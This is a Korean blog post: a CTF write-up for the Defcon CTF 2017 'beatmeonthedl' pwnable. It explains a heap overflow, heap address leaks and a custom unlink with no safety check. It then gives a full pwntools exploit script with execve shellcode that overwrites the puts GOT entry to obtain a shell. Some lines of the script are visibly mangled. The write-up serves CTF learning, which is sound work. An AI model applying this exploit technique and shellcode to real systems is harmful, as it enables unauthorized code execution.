티스토리 뷰

CTF write-up

Defcon CTF 2017 beatmeonthedl [ pwnable ]

marshimaro aSiagaming 2017. 7. 29. 21:10

살짝 예전의 baby first영역에 있었던 heap exploit 문제와 비슷한 느낌이다.

malloc과 unlink는 custom으로 만들어진 함수이며, 일반적으로 많이들 사용하는 플러그인으로 

디버깅 타임에 arena같은걸 조회할 수는 없다.


바이너리 자체에는 어떤 보호기법도 걸려있지 않으니까, 대회당시에는 서버의 ASLR이 전부이다.

따라서 쉘코드를 사용하는 방향으로 풀어야할 것을 직감할 수 있다.





dynamically linked binary라 ltrace를 통해 따라가며 실행해보면 처음에 아이디를 입력받는다.

임의로 다른 아이디를 쳐보면 고맙게도 strlen에 본래 넣어야 할 아이디를 보여주며 

그 문자열 길이만큼 비교를 진행한다.





아이디와 유사하게 패스워드도 똑같이 ltrace를 통해 알아낼 수 있으며, 그냥 IDA이나 다른 디버깅이나 디스어셈블러로

간단하게 찾아낼 수도 있다.





디스어셈블러로 확인해보면 되게 직관적이다.

사실상 여러곳에서 취약점이 발생한다.

일단 request하는 부분에서 malloc(0x38) -> 0x40만큼의 공간을 헤더와 합쳐서 할당하게되는데

입력은 0x80만큼 받게되므로 overflow가 발생한다.

그리고 heap address leak은 개인적으로 보기에는 두 곳에서 가능하다.





첫번째는 패스워드를 검증하는 루틴이다.

처음에 아이디를 받을 때와는 다르게 패스워드를 받을 때, malloc을 통해 공간을 할당하고

패스워드가 틀릴 시 버퍼의 공간을 출력하는데

이 공간을 null byte없이 이어주게되면 저장된 힙주소를 leak할 수 있다.


또 다른 하나는 request를 통해 어느정도 heap chunk를 할당하고, free하게되면

binlist에 서로 연결되게 되는데, 데이터 수정을 통해 fd전까지 이어주고 출력메뉴를 선택하면

heap address가 leak된다.


그리고 unsafe unlink이거나 살짝 그러지 않을까라고 생각은 했지만

custom malloc, free이므로 일단 분석을 진행해보면 좋은걸 건질 수 있다. ( 보통 그렇더라 )





자세하게 분석은 힘들고 나는 gdb를 통해 동적분석과 같이 진행을 하였다.

일단 알아볼 수 있었던건 새롭게 glibc에 추가되었던 unlink에 대한 security check routine이 없다는 것이다.

그러면 그냥 fd와 bk를 간단하게 특정 함수의 got-24, 쉘코드가 있는 주소로 덮어주기만 하면 된다.





fastbin 사이즈여서 어떨가 했더니, 커스텀이라 그런가 fd와 bk까지 잘 생기고 

free를 해줄 때, 병합까지 같이 진행이 되더라.





위와 아래는 병합이 진행되는 과정을 그냥 찍어둔 것이다.





따라서 이 정보들을 바탕으로 간단하게 익스를 해주면 쉘을 딸 수 있다.






1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
from pwn import *
import time
 
= process(["./beatmeonthedl"])
context.binary = "./beatmeonthedl"
#context.log_level = 'debug'
prog = log.progress("Exploit ")
sc = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
puts_got = 0x609958
log.success(str(proc.pidof(p)[0]))
#pause()
 
p.recv()
p.sendline("mcfly")
p.recv()
p.sendline("B" * 0x18)
 
p.recvuntil("B" * 0x18)
leak = u32(p.recv(4)) - 0x10
print hex(leak)
print p.recv()
 
p.sendline("mcfly")
p.recv()
p.sendline("awesnap")
 
def add_req(payload):
    p.recv()
    p.sendline("1")
    p.recv()
    p.sendline(payload)
add_req("AAAA")
add_req("BBBB")
add_req("CCCC")
add_req("\xeb\x30" + "\x90" * 0x40 + sc)
 
print p.recv()
p.sendline("3")
print p.recv()
p.sendline("1")
 
print p.recv()
p.sendline("4")
print p.recv()
p.sendline("0")
print p.recv()
p.sendline("Q" * 0x30 + p64(0+ p64(0x41+ p64(puts_got-24+ p64(leak + (0x40 * 4+ 0x10))
 
print p.recv()
p.sendline("3")
print p.recv()
p.sendline("2")
 
p.interactive()
cs





'CTF write-up' 카테고리의 다른 글

Defcon CTF 2017 mute [ pwnable ]  (0) 2017.08.01
Defcon CTF 2017 badint [ pwnable ]  (0) 2017.07.30
Defcon CTF 2017 beatmeonthedl [ pwnable ]  (0) 2017.07.29
2016 BCTF bcloud [ exploitation 150 ]  (0) 2017.07.24
DEFCON 2014 baby's first heap  (0) 2017.07.21
0ctf 2017 babyheap [ pwnable ]  (0) 2017.07.15
댓글
댓글쓰기 폼